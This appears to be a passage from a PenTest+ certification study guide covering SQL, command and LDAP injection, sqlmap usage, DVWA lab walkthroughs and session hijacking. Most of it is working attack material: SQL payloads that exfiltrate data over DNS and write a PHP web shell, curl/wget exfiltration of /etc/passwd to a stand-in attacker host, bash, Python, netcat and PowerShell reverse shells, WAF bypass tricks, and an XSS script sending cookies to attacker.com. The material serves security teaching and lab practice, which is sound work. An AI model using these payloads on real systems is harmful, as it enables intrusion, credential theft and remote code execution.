Blind SQL injection is used when the application is vulnerable to injection but does not return query results or error messages. Instead, the application's behavior changes based on whether an injected condition is true or false — perhaps the page loads normally for true conditions and shows an error page or empty results for false conditions.

You cannot extract data directly. But you can ask yes/no questions and infer data from the answers.

The concept:

-- Original vulnerable query:
SELECT * FROM products WHERE id = [USER_INPUT]

-- Test: is the first character of the current database name 'a'?
1 AND SUBSTRING(database(), 1, 1) = 'a'

-- If the page loads normally: the database name starts with 'a' (true)
-- If the page shows an error or empty: false, try 'b', 'c', etc.
Enter fullscreen mode Exit fullscreen mode

This is extraordinarily slow manually — determining even a single character requires up to 26 attempts (or 128 for all ASCII characters). Tools like sqlmap automate this completely, but understanding the manual process is essential for certification exams and for debugging when automated tools behave unexpectedly.

Systematic character extraction:

-- Check database name length:
1 AND LENGTH(database()) = 6       -- is the database name 6 characters? True/False

-- Check first character:
1 AND ORD(SUBSTRING(database(), 1, 1)) > 77    -- is ASCII value > 77? (binary search faster than linear)
1 AND ORD(SUBSTRING(database(), 1, 1)) > 100   -- narrow down range
1 AND ORD(SUBSTRING(database(), 1, 1)) = 119   -- ASCII 119 = 'w'

-- Check second character:
1 AND ORD(SUBSTRING(database(), 2, 1)) = 101   -- ASCII 101 = 'e'

-- Character by character: 'w' + 'e' + ... = 'webshop'
Enter fullscreen mode Exit fullscreen mode

Binary search reduces the number of requests from 128 per character to about 7. For a 10-character database name: 70 requests instead of 1280.

Time-Based Blind SQL Injection — When Nothing Is Visible at All

Time-based injection is used when the application produces identical responses regardless of whether the injected condition is true or false — even error messages are suppressed. The only channel remaining is time.

By injecting a conditional time delay, the attacker can observe whether a condition is true (delay occurs) or false (no delay). The information is encoded in the response time.

-- MySQL: Is the first character of the database name 'w'?
1 AND IF(SUBSTRING(database(), 1, 1) = 'w', SLEEP(5), 0)--

-- If the response takes 5+ seconds to arrive: the first character is 'w' (true)
-- If the response arrives immediately: false, try next character
Enter fullscreen mode Exit fullscreen mode

Database-specific sleep functions:

-- MySQL / MariaDB
SLEEP(5)                        -- pause 5 seconds

-- Microsoft SQL Server
WAITFOR DELAY '0:0:5'          -- pause 5 seconds

-- Oracle
dbms_pipe.receive_message(('a'),5)  -- pause 5 seconds (requires privileges)
-- or: execute 'begin DBMS_LOCK.sleep(5); end;'

-- PostgreSQL
pg_sleep(5)                    -- pause 5 seconds
SELECT 1 FROM pg_sleep(5)
Enter fullscreen mode Exit fullscreen mode

Time-based injection is the slowest and most unreliable method — network latency affects timing, server load can cause natural delays, and extracting even a single table name requires hundreds of requests. But it is often the only option against hardened applications that suppress all output. This is where sqlmap's time-based blind mode becomes essential.

Out-of-Band SQL Injection — Using DNS as a Data Channel

Out-of-band injection uses the database server's ability to make outbound network connections to exfiltrate data. Instead of reading data from the HTTP response, the database server sends data to an attacker-controlled DNS resolver or HTTP server.

This is particularly useful when:

  • The application does not display query results (like blind)
  • Time-based methods are unreliable due to network conditions
  • The database server has outbound internet access
-- MySQL: Extract database name via DNS lookup
-- The database name is embedded in a DNS query to attacker's domain
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker-collaborator.com\\share'))--

-- Microsoft SQL Server: DNS exfiltration
'; exec master..xp_dirtree CONCAT('\\\\', (SELECT DB_NAME()), '.attacker-collaborator.com\\a')--

-- Oracle: HTTP exfiltration  
' UNION SELECT UTL_HTTP.request('http://attacker-collaborator.com/'||(SELECT user FROM dual)) FROM dual--
Enter fullscreen mode Exit fullscreen mode

The attacker monitors their DNS server or Burp Suite's Collaborator service for incoming queries. When the DNS query webshop.attacker-collaborator.com arrives, the subdomain webshop reveals the database name.

Beyond Data Extraction — Reading and Writing Files

Some SQL injection vulnerabilities provide capabilities far beyond data reading. MySQL's LOAD_FILE() and INTO OUTFILE functions allow reading and writing the filesystem — when the database user has the required privileges.

-- Read a file from the server filesystem (requires FILE privilege):
' UNION SELECT NULL, LOAD_FILE('/etc/passwd'), NULL--
-- Returns the contents of /etc/passwd if accessible by the MySQL user

-- Write a web shell to the server (requires FILE privilege and write access to web root):
' UNION SELECT NULL, '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php'--
-- Creates a PHP web shell at /shell.php
-- Access: http://target.com/shell.php?cmd=id
Enter fullscreen mode Exit fullscreen mode

If successful, file writing via SQL injection results in remote code execution — the most severe possible outcome. Whether this is possible depends on:

  • The MySQL user having FILE privilege
  • The secure_file_priv variable being configured to allow writes
  • The MySQL user having write permission on the web root directory

Identifying SQL Injection — The Detection Methodology

Before exploiting, you must identify which parameters are injectable. The process is systematic:

Step 1: Find all input points

Every place the application accepts user input is a potential injection point:

  • URL parameters: ?category=phones&sort=price
  • POST body parameters: form fields, JSON values, XML elements
  • HTTP headers: User-Agent, X-Forwarded-For, Cookie, Referer (less common but real)
  • JSON body fields in REST APIs
  • GraphQL query parameters

Step 2: Send detection payloads

For each input parameter, send payloads that would cause a detectable change if the parameter is used in a SQL query:

# Single quote — causes SQL syntax error if vulnerable
'

# Double quote — for double-quoted strings  
"

# Comment sequences — truncate query if vulnerable
--
#
/*

# Boolean conditions — change page content if vulnerable
' AND '1'='1       (always true — should return normal results)
' AND '1'='2       (always false — should return empty/different results)

# Numeric comparison (for numeric parameters)
1 AND 1=1          (true)
1 AND 1=2          (false)

# Time-based detection (when no visible difference)
'; SELECT SLEEP(5);--    (MySQL)
'; WAITFOR DELAY '0:0:5'--  (MSSQL)
Enter fullscreen mode Exit fullscreen mode

Step 3: Observe and compare responses

Three types of evidence indicate SQL injection:

  • Error messages: "You have an error in your SQL syntax..." — definitive SQL injection
  • Different responses: Normal page for true condition, empty page or error for false condition — boolean blind
  • Time delays: Response takes exactly 5 seconds for SLEEP(5) payload — time-based blind

Step 4: Identify the database type

Different databases have different syntax. Identifying the database type early allows using the correct payloads:

-- Version query varies by database:
MySQL:     SELECT version()          -- returns "8.0.33"
MSSQL:     SELECT @@version          -- returns "Microsoft SQL Server..."
Oracle:    SELECT v$version FROM DUAL
PostgreSQL: SELECT version()

-- Comment syntax varies:
MySQL:     --  or #
MSSQL:     --  (space required after --)
Oracle:    --
PostgreSQL: --
Enter fullscreen mode Exit fullscreen mode

SQLmap — Automated SQL Injection

SQLmap is the standard automated tool for SQL injection detection and exploitation. It implements all SQL injection types, automatically detects the database type, and can extract the entire database with a single command.

# Basic test — check if a URL parameter is injectable
sqlmap -u "http://target.com/products?id=1"

# Test a specific parameter
sqlmap -u "http://target.com/search?q=phones&category=all" -p q

# Test a POST request (save request from Burp as a file first)
sqlmap -r burp_request.txt

# Test POST with specific parameter
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username

# Include cookie for authenticated testing
sqlmap -u "http://target.com/account?id=1" --cookie="session=7f3a9b2c"

# Use with Burp proxy (to see sqlmap's requests in Burp)
sqlmap -u "http://target.com/products?id=1" --proxy=http://127.0.0.1:8080

# Enumerate databases
sqlmap -u "http://target.com/products?id=1" --dbs

# Enumerate tables in a specific database
sqlmap -u "http://target.com/products?id=1" -D webshop --tables

# Enumerate columns in a specific table
sqlmap -u "http://target.com/products?id=1" -D webshop -T users --columns

# Dump all data from a table
sqlmap -u "http://target.com/products?id=1" -D webshop -T users --dump

# Dump everything (all databases)
sqlmap -u "http://target.com/products?id=1" --dump-all

# Test for file read/write capabilities
sqlmap -u "http://target.com/products?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/products?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Attempt OS shell (if FILE privilege and write access available)
sqlmap -u "http://target.com/products?id=1" --os-shell

# Stealth options (slower but less detectable)
sqlmap -u "http://target.com/products?id=1" --dbs --level=3 --risk=2 --delay=2

# Specify database type for faster exploitation
sqlmap -u "http://target.com/products?id=1" --dbms=mysql --dbs
Enter fullscreen mode Exit fullscreen mode

SQLmap options explained:

--level (1-5): Controls how many tests are run. Level 1 tests the most common parameters. Level 5 tests everything including HTTP headers.

--risk (1-3): Controls how potentially disruptive the tests are. Risk 1 is safe for production. Risk 3 includes UPDATE-based tests that could modify data.

--delay: Seconds to wait between requests. Reduces speed but avoids rate limiting and IDS detection.

--tamper: Apply tamper scripts to obfuscate payloads and bypass WAFs. For example --tamper=space2comment replaces spaces with comments to bypass simple keyword filters.

--technique: Restrict to specific injection types (B=Boolean, E=Error, U=UNION, S=Stacked, T=Time, Q=Out-of-band).

SQL Injection Filter Bypass Techniques

Real applications often have input validation, WAFs, or other defenses. These are bypassable in most cases.

-- Bypassing keyword filters that block 'SELECT' 'UNION' etc:

-- Case variation (SQL is case-insensitive):
SeLeCt, UnIoN, sElEcT

-- Comment insertion (MySQL ignores /**/ comments inline):
UN/**/ION SEL/**/ECT

-- Double URL encoding (%27 = ', %2527 = %27 after server decodes):
%2527  first decode: %27  second decode: '

-- MySQL allows inline comments with version hints:
/*!UNION*/ /*!SELECT*/

-- Hex encoding strings to avoid quote filtering:
-- Instead of 'users', use 0x7573657273 (hex for 'users')
' UNION SELECT 0x7573657273--

-- Whitespace alternatives (MySQL treats these as whitespace):
Tab: %09
Newline: %0a  
Carriage return: %0d
Form feed: %0c
Vertical tab: %0b

-- Plus signs for spaces in URL contexts:
' UNION+SELECT+NULL--

-- Bypassing OR/AND filters using && and ||:
' || 1=1--        (equivalent to OR)
' && 1=1--        (equivalent to AND)
Enter fullscreen mode Exit fullscreen mode

6.4.3 Practice — SQL Injection Attacks Step by Step

Manual SQL Injection Against DVWA

With DVWA running (security level: Low), navigate to the SQL Injection module. The page shows a field labeled "User ID" that queries the users table and displays the user's details.

Phase 1 — Confirm Injection

Enter 1' (one followed by a single quote). The application returns a MySQL error. This confirms the input is being concatenated directly into a SQL query.

Phase 2 — Determine Column Count

Enter 1 ORDER BY 1-- — displays result normally.
Enter 1 ORDER BY 2-- — displays result normally.
Enter 1 ORDER BY 3-- — shows error "Unknown column '3' in order clause."

The original query has exactly 2 columns.

Phase 3 — Identify Display Columns

Enter ' UNION SELECT NULL, NULL-- — no error, confirms 2 columns. Now identify which ones display on the page:

Enter ' UNION SELECT 'COLUMN1_TEST', NULL-- — observe if "COLUMN1_TEST" appears in the response.
Enter ' UNION SELECT NULL, 'COLUMN2_TEST'-- — observe if "COLUMN2_TEST" appears.

Both columns are displayed in DVWA's output (First Name and Surname fields).

Phase 4 — Extract Database Information

-- Database version:
' UNION SELECT NULL, version()--

-- Current database name:
' UNION SELECT NULL, database()--

-- MySQL user (shows privilege level):
' UNION SELECT NULL, user()--

-- List all databases:
' UNION SELECT NULL, schema_name FROM information_schema.schemata--

-- List all tables in current database (dvwa):
' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='dvwa'--

-- List columns in users table:
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

-- Extract all usernames and passwords:
' UNION SELECT user, password FROM users--
Enter fullscreen mode Exit fullscreen mode

The password field in DVWA contains MD5 hashes. After extracting them, crack with hashcat:

hashcat -m 0 dvwa_hashes.txt /usr/share/wordlists/rockyou.txt
# Most DVWA passwords crack quickly: admin:password, gordonb:abc123, etc.
Enter fullscreen mode Exit fullscreen mode

Using SQLmap Against DVWA

After confirming the injection manually, use sqlmap for automated extraction:

# In DVWA, get your session cookie from Burp or browser DevTools
# (look for PHPSESSID in the Application tab → Cookies)

# Run sqlmap with your session cookie:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_session_id; security=low" \
  --dbs

# Dump the users table:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_session_id; security=low" \
  -D dvwa -T users --dump
Enter fullscreen mode Exit fullscreen mode

Progressing Through Security Levels

Once you have mastered Low, change DVWA's security level to Medium. The application now uses parameterized queries on some inputs but sanitizes in ways that are bypassable. Read the source code (available via the "View Source" button in DVWA) to understand what defense is applied and how to bypass it.

High level adds additional server-side filtering. Each level teaches you something new about defense implementation and bypass methodology.


6.4.4 Command Injection Vulnerabilities

The Concept — When the Server Runs Your Commands

Command injection occurs when user-controlled input is passed to an operating system command execution function without proper sanitization. The application builds a shell command by concatenating user input, and the operating system shell then executes the entire string — user input and all.

The shell interprets special characters as command separators, allowing multiple commands to be executed in sequence. Common shell metacharacters:

Character Behavior Example
; Execute next command unconditionally ping host; id
&& Execute next command only if first succeeds ping host && id
`\ \ `
`\ ` Pipe output of first command to second
` Execute and substitute output (backticks) echo \id``
$(...) Execute and substitute output echo $(id)
> Redirect output to file id > /tmp/out.txt
< Read input from file mail < /etc/passwd
& Run command in background payload &
\n Newline — new command cmd\nid

Vulnerable Code Examples — Recognizing the Pattern

Command injection happens when developers use shell execution functions with unsanitized user input. Recognizing these patterns in source code is how you identify injection points during code review.

PHP:
`php
// VULNERABLE — user input directly in shell command
$hostname = $_GET['host'];
$output = shell_exec("ping -c 3 $hostname");

// Also vulnerable:
system("nslookup $hostname");
exec("traceroute $hostname");
passthru("nmap $hostname");
popen("dig $hostname", 'r');

// SECURE — use escapeshellarg() to prevent injection:
$hostname = escapeshellarg($_GET['host']);
$output = shell_exec("ping -c 3 $hostname");
`

Python:
`python

VULNERABLE

import os
hostname = request.form['host']
output = os.system(f"ping -c 3 {hostname}")

Also vulnerable:

subprocess.call(f"nmap {hostname}", shell=True) # shell=True is the problem

SECURE — use subprocess with list argument (no shell interpretation):

subprocess.call(["nmap", hostname]) # shell=False (default) — no injection possible
`

Node.js:
`javascript
// VULNERABLE
const { exec } = require('child_process');
exec(ping -c 3 ${req.body.host}, (err, stdout) => { ... });

// SECURE — use spawn with argument list:
const { spawn } = require('child_process');
spawn('ping', ['-c', '3', req.body.host]);
`

Finding Command Injection Points

Look for any feature that suggests a system-level operation happening based on user input:

  • Network diagnostics: "Ping this host", "Traceroute this IP", "DNS lookup", "Port check"
  • File operations: Converting uploaded files, generating PDFs from user content, image resizing
  • Email functionality: Sending emails using system mail utilities
  • System administration UI: Server management panels, cPanel, WHM
  • Logging and monitoring: Log analysis tools that run system commands with user-supplied filters
  • API gateways: Proxy functionality that executes commands based on API calls

When you find such functionality, the detection methodology is to inject command separators and observe the response.

Basic Injection Payloads

`bash

On Linux/Unix — injection with semicolon:

; id
; whoami
; uname -a
; cat /etc/passwd

On Windows — injection with ampersand:

& whoami
& ipconfig /all
& type C:\Windows\System32\drivers\etc\hosts

On both platforms — injection with pipe:

| id
| whoami

Newline injection (useful when semicolon is filtered):

%0a id # URL-encoded newline
%0a whoami

Subshell injection:

$(id)
id

If spaces are filtered — use ${IFS} (Internal Field Separator):

;cat${IFS}/etc/passwd
;id${IFS}
`

Blind Command Injection — When No Output Is Returned

The most common form of command injection is blind — the application executes your command but does not display the output in the response. Detection and exploitation require different techniques.

Detection using time delays:

`bash

Linux: sleep for 5 seconds — if response takes 5+ seconds, injection confirmed

; sleep 5
| sleep 5
$(sleep 5)
sleep 5

Windows: ping loopback 5 times (each ping ~1 second = 5 second delay)

& ping -n 5 127.0.0.1
`

Data exfiltration using out-of-band channels:

When you cannot see command output, use the server's network connectivity to send data to yourself:

`bash

HTTP callback — send command output to your server via curl:

; curl http://attacker-ip:4444/$(id)
; curl -X POST http://attacker-ip:4444/ -d "$(cat /etc/passwd)"
; wget http://attacker-ip:4444/?data=$(whoami)

DNS exfiltration — embed output in DNS lookup:

; nslookup $(whoami).attacker-domain.com
; host $(cat /etc/hostname).attacker-domain.com

Set up a listener on your attack machine:

Terminal 1 — HTTP listener:

python3 -m http.server 4444

or

nc -lvnp 4444

Terminal 2 — Watch for incoming requests/connections

`

Use Burp Suite's Collaborator (Burp → Burp Collaborator client → Copy to clipboard) to get a unique URL/domain that records all DNS queries and HTTP requests made to it. This is more reliable than your own server for detecting out-of-band callbacks.

Writing command output to a readable file:

If the injection is in a web application and the web root is writable:

`bash

Write output to a file accessible via HTTP:

; id > /var/www/html/output.txt
; cat /etc/passwd > /var/www/html/passwd.txt

Then read it:

http://target.com/output.txt

http://target.com/passwd.txt

`

Escalating to a Reverse Shell

Command injection typically provides blind RCE (Remote Code Execution). To get an interactive session, escalate to a reverse shell:

Step 1: Set up your listener on the attack machine
`bash

On Kali Linux:

nc -lvnp 4444

or for more stability:

nc -lvnp 4444

or with rlwrap for arrow keys and history:

rlwrap nc -lvnp 4444
`

Step 2: Inject the reverse shell payload

`bash

Bash reverse shell (most reliable on Linux):

; bash -i >& /dev/tcp/attacker-ip/4444 0>&1

URL-encoded version (for injection via URL parameter):

; bash+-i+>%26+/dev/tcp/attacker-ip/4444+0>%261

Python reverse shell (works when bash is unavailable):

; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker-ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat reverse shell (if nc is available on target):

; nc attacker-ip 4444 -e /bin/bash

PowerShell reverse shell (Windows targets):

& powershell -c "$c=New-Object Net.Sockets.TCPClient('attacker-ip',4444);$s=$c.GetStream();[byte[]]$b=0..65535;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$r=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($r,0,$r.Length)}"
`

Upgrading a netcat shell to a fully interactive TTY:
`bash

After getting a shell via nc:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then: Ctrl+Z to background

stty raw -echo; fg

Press Enter twice

export TERM=xterm
`


6.4.5 Practice — Command Injection Step by Step

Testing on DVWA

Navigate to DVWA → Command Injection. The page has a field asking for a hostname to ping. Enter 127.0.0.1 — the application returns the output of a ping command.

Confirm injection:
Enter 127.0.0.1; id in the ping field. If command injection is present at Low security, the page displays the ping output followed by the id command output (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Information gathering:
`
127.0.0.1; uname -a # Kernel version and OS
127.0.0.1; cat /etc/passwd # User accounts
127.0.0.1; whoami # Current user
127.0.0.1; pwd # Current working directory
127.0.0.1; ls -la /var/www # Web root contents
127.0.0.1; cat /var/www/html/dvwa/config/config.inc.php # Database credentials!
`

The config file discovery is particularly impactful — it contains the database credentials in plaintext, which can then be used for direct MySQL access.

Medium security bypass:
DVWA's Medium level filters && and ; but allows pipes and other separators:
`
127.0.0.1 | id
127.0.0.1 || id # Pipe followed by second pipe — different character
127.0.0.1 & id
`

Check DVWA's source code to see exactly what is filtered, then find the gap.


6.4.6 LDAP Injection Vulnerabilities

What LDAP Is — Essential Context

LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining distributed directory services — structured databases of hierarchical information. In corporate environments, LDAP is primarily used to provide Active Directory (AD) authentication. When you log in to a Windows domain or an enterprise application with your corporate credentials, LDAP is almost certainly involved somewhere in the authentication process.

LDAP stores information in a tree structure. Each entry has a Distinguished Name (DN) that describes its position in the tree:

`
CN=John Smith,OU=Engineering,DC=targetco,DC=com
`

  • CN — Common Name (the object's name)
  • OU — Organizational Unit (like a folder/department)
  • DC — Domain Component (the domain name split into components)

LDAP queries use a filter syntax that specifies what to search for:

`
(objectClass=person) -- All persons
(uid=jsmith) -- User with uid=jsmith
(&(uid=jsmith)(userPassword=mypassword)) -- User with matching uid AND password
(|(department=Engineering)(department=IT)) -- Engineering OR IT department members
`

The & means AND (all conditions must match), | means OR (any condition must match), ! means NOT.

The Injection Mechanism

Web applications that authenticate against LDAP build query filters by concatenating user input — the same mistake made in SQL injection, applied to LDAP.

`php
// VULNERABLE PHP code for LDAP authentication
$username = $_POST['username'];
$password = $_POST['password'];
$filter = "(&(uid=$username)(userPassword=$password))";
$result = ldap_search($connection, "dc=targetco,dc=com", $filter);
`

When legitimate credentials are submitted:
`
Filter: (&(uid=alice)(userPassword=correct_password))
Result: finds alice's entry → authentication success
`

When an attacker submits *)(uid=*))(|(uid=* as the username:
`
Filter: (&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
`

This LDAP filter, despite its complexity, evaluates to "return any user where uid is anything" — bypassing the password check entirely. The attacker is authenticated as the first user returned.

Common LDAP Injection Payloads

`

Authentication bypass — log in as any user:

Username: )(&
Password: (anything)
-- Creates: (&(uid=
)(&)(userPassword=(anything)))
-- The (*) matches everything, (&) is always true

Classic auth bypass:

Username: )(|(password=)
Password: ignored
-- Creates: (&(uid=)(|(password=))(userPassword=ignored))

Extract all users (information disclosure):

Username: *
-- If wildcard causes return of all matching entries, usernames are disclosed

Extract specific user:

Username: admin
-- Confirm admin exists by observing different response versus non-existent user

Blind injection — true/false conditions:

Username: admin)(uid=*
-- Different response if true (admin exists) versus false

Bypass input validation that filters *:

Use LDAP attribute matching: (uid=a*) matches users starting with 'a'

`

Blind LDAP Injection — Character-by-Character Extraction

When LDAP injection is blind (different response for true/false but no data returned), information can be extracted character by character using wildcard patterns:

`

Check if first character of admin's password is 'a':

Username: admin)(userPassword=a*
-- Different response than:
Username: admin)(userPassword=b*

Systematically determine the password:

Username: admin)(userPassword=a* → false (no match)
Username: admin)(userPassword=P* → true (password starts with P)
Username: admin)(userPassword=Pa* → false
Username: admin)(userPassword=Pp* → false
Username: admin)(userPassword=Pa*... → iterate through characters

This eventually reconstructs the entire password

`

This is slow but effective against vulnerable LDAP implementations that store passwords in retrievable form (some do, many do not).

Special LDAP Characters to Inject

The characters with special meaning in LDAP filter syntax:

`
( ) * \ NUL ← characters requiring escape in valid LDAP
& | ! ← logical operators
= ← attribute comparison operator
`

If the application does not escape these characters in user input, all of them can be used to manipulate the filter.

LDAP Injection vs. SQL Injection — Key Differences

Aspect SQL Injection LDAP Injection
Comment syntax --, #, /**/ None standard
Data structure Tables/rows Tree/attributes
Authentication bypass ' OR 1=1-- `)(uid=))(
Data extraction UNION SELECT Wildcard enumeration
Automation tooling sqlmap (excellent) Limited automation
Prevalence Very common Less common
Defenses Parameterized queries Escape all special chars

The fix for LDAP injection is proper input escaping before building filter strings. All special characters ((, ), *, \, null bytes) must be escaped as their LDAP escape sequences. In PHP, ldap_escape() (PHP 5.6+) provides this. In other languages, use the appropriate escaping function from your LDAP library.


6.4.7 Lab — Injection Attacks

This lab section consolidates the injection concepts into a structured practice session using DVWA and WebSploit Labs.

DVWA — Complete Injection Practice Sequence

SQL Injection (all three levels):

Low: Complete the UNION-based extraction sequence from 6.4.3. Extract all usernames, passwords, and emails. Crack the password hashes with hashcat.

Medium: Read the source code. Notice that the application uses a dropdown instead of a text field, preventing direct submission of SQL characters. But you can bypass this by intercepting the request in Burp Suite and modifying the parameter directly in the proxy — client-side controls mean nothing at the server level.

High: Read the source code again. Notice the query uses LIMIT 1 to return only one result. Bypass this by terminating the original query early and crafting a subquery that circumvents the limit.

SQL Injection (Blind):

DVWA's blind SQL injection module shows no query results — just "User ID exists" or "User ID missing." Practice boolean-based extraction to determine the administrator's password length and first three characters manually, then run sqlmap with --technique=B to automate the complete extraction.

Command Injection (all three levels):

Low: Demonstrate the full chain — detect injection, enumerate system information, extract config file credentials, establish a reverse shell.

Medium: Bypass the character filter (,, &&, ; are blocked). Use pipe characters and URL-encoded newlines.

High: The High level uses a strict allowlist — only valid IP address format is accepted. Research and find the bypass for this specific DVWA implementation. (Hint: some allowlist implementations have regex edge cases.)

Key Takeaways from This Lab

After completing these exercises, you should be able to:

  1. Identify injection points in any web application by recognizing input parameters and testing with detection payloads
  2. Distinguish between error-based, UNION-based, boolean blind, and time-based SQL injection and know when to use each
  3. Understand the complete UNION-based data extraction sequence from scratch without automated tools
  4. Recognize command injection opportunities from application features that suggest system-level operations
  5. Extract data from blind injection vulnerabilities using time delays and out-of-band callbacks
  6. Explain LDAP injection to a technical audience and describe its filter manipulation mechanism
  7. Use sqlmap for automated exploitation while understanding what it is doing under the hood

These skills form the foundation for the exploitation phases in professional web application penetration tests. Every injection technique here appears in real assessments, in bug bounty programs, and in certification exams.


— Sections 6.2, 6.3, and 6.4 are complete. —


Module 6 — Sections 6.5 and 6.6

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Authentication Attacks · Session Hijacking · Kerberos · Default Credentials · Authorization · IDOR · Privilege Escalation


Table of Contents


6.5 Exploiting Authentication-Based Vulnerabilities

6.5.1 Overview — Authentication vs Authorization: The Distinction That Matters

Two concepts sit at the heart of every access control system, and confusing them — as developers frequently do — leads to vulnerabilities. Understanding the precise difference is foundational.

Authentication answers the question: Who are you? It is the process of verifying that you are who you claim to be. You present a credential — a password, a fingerprint, a hardware token — and the system checks it against stored truth. If the check passes, your identity is established.

Authorization answers the question: What are you allowed to do? It is the process of deciding what actions and resources an authenticated identity is permitted to access. Being authenticated as Alice does not mean Alice can access Bob's files. Authorization determines that boundary.

These two concerns are often tightly coupled in implementation, but they are conceptually distinct. Section 6.5 covers attacks on the authentication layer — attacks that impersonate authenticated users, steal authentication tokens, exploit weak authentication mechanisms, or bypass the authentication step entirely. Section 6.6 covers attacks on the authorization layer — accessing resources or performing actions that the authenticated user is not permitted to access.

Why authentication attacks are so impactful:

Authentication is the gatekeeper to everything. A successful authentication attack does not just expose a single record or endpoint — it compromises the entire identity. An attacker who successfully hijacks an administrator's authenticated session has every permission that administrator has. Every file they can read. Every action they can perform. Every system they can access.

In 2024, the threat landscape for authentication shifted dramatically. SpyCloud researchers recovered over 17 billion stolen cookie records from the dark web — evidence of industrial-scale session token theft. Modern authentication attacks do not always need to bypass multi-factor authentication; they steal the session token that is created after MFA completes. Once an attacker has your session token, they have your identity in that application — regardless of how strong your password was or how many factors authenticated you.

This is the reality that this section addresses: authentication can be defeated not just at the front door (login) but at any point in the session lifecycle.


6.5.2 Session Hijacking — Stealing Identity After Authentication

The Core Concept

Session hijacking is the theft and reuse of a victim's valid session identifier to impersonate them in an authenticated application. The attacker does not need to know the victim's password. They do not need to bypass MFA. They simply need the session token that proves the victim already authenticated.

Think about what a session token actually is. After you prove your identity at login, the server creates a session record on its side and gives you a reference to that record — a long, random string called the session token or session ID. For every subsequent request, your browser sends this token, and the server says "ah, this token maps to Alice's authenticated session — let her in."

From the server's perspective, a request with Alice's valid session token is indistinguishable from a request coming from Alice's browser. The server cannot see whose laptop sent the request. It only sees the token. This is the fundamental reason session hijacking works: the token is the identity, and anyone with the token has the identity.

Vector 1 — Network Interception

The oldest form of session hijacking. If a web application transmits session cookies over HTTP (not HTTPS), or if cookies are set without the Secure flag and an HTTP version of the site exists, the session token travels in plaintext across the network.

In environments where the attacker is positioned on the same network segment (a corporate LAN, a public Wi-Fi network, a hotel network), they can capture this traffic with Wireshark or tcpdump. The session token appears in the Cookie: header of every request.

With the token captured, the attacker imports it into their own browser (using browser developer tools, Cookie Editor extension, or Burp Suite) and is immediately authenticated as the victim.

When this is relevant in 2024:
Most HTTPS sites correctly set Secure on session cookies, preventing this in the general case. However, network interception remains very relevant in:

  • Internal corporate applications that use HTTP
  • Applications with mixed content (main site HTTPS but some endpoints HTTP)
  • Old or embedded systems (OT/ICS devices, network printers, management interfaces)
  • Applications that have Secure flag missing on critical cookies

Prevention: HTTPS everywhere, Secure cookie flag, HSTS header to prevent downgrade attacks.

Vector 2 — XSS-Based Cookie Theft

Cross-site scripting (covered in depth in Section 6.7) is one of the primary methods for stealing session cookies in modern applications. When an XSS vulnerability allows injecting JavaScript into a page, the attacker's script can read the victim's cookies using document.cookie and send them to an attacker-controlled server.

`javascript
// Classic session cookie theft via XSS
// Injected into a vulnerable input field or stored location:

new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

// Or using fetch (more reliable, supports modern APIs):
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({cookies: document.cookie, url: window.location.href}),
headers: {'Content-Type': 'application/json'}
});

// On the attacker's server (simple Python HTTP listener):

python3 -m http.server 80

Incoming request: /steal?cookie=session_id=7f3a9b2c...

`

The HttpOnly flag on cookies was specifically designed to prevent this. A cookie with HttpOnly is not accessible through document.cookie — JavaScript cannot read it, regardless of what JavaScript runs on the page.

However, even HttpOnly session cookies have an indirect theft vector: if the application has an XSS vulnerability, the attacker can use JavaScript to send authenticated requests from the victim's browser — not stealing the cookie itself, but using the victim's authenticated session without reading the cookie. This is sometimes called XSS-based session riding rather than session theft.

The critical check during assessment: When you find an HttpOnly cookie, the vulnerability exists but the theft method must change. Instead of reading document.cookie, use the XSS to make authenticated API requests from the victim's browser and exfiltrate the data directly.

Vector 3 — Adversary-in-the-Middle (AitM) Session Theft

This is the dominant session hijacking vector in 2024 and the technique behind some of the largest breaches. AitM attacks proxy a legitimate authentication flow — capturing the session token that is created after successful authentication, including after MFA completion.

Tools like Evilginx2 (covered in the social engineering module) sit as transparent proxies between the victim and the real service. The victim goes through the entire authentication process — username, password, MFA code — on what they believe is the real site. The AitM proxy forwards everything to the real site. When the real site creates an authenticated session and sends the session cookie to the browser, the AitM proxy captures that cookie in transit before passing it to the victim's browser.

The attacker now has the victim's fully authenticated session cookie — extracted after MFA was completed. MFA provided no protection because it was never bypassed; the session it created was captured.

`
Attack chain:

  1. Victim receives phishing link → lands on Evilginx2 proxy domain
  2. Evilginx2 fetches the real Microsoft 365 login page and serves it to victim
  3. Victim enters credentials → Evilginx2 captures them and forwards to real Microsoft
  4. Real Microsoft requests MFA → Evilginx2 relays the MFA challenge to victim
  5. Victim completes MFA → Evilginx2 forwards to real Microsoft
  6. Real Microsoft creates authenticated session → sends session cookie in Set-Cookie header
  7. Evilginx2 captures the session cookie BEFORE passing it to the victim's browser
  8. Victim sees successful login and continues normally, unaware
  9. Attacker imports captured session cookie into their browser
  10. Attacker is authenticated as the victim in Microsoft 365 with their full access `

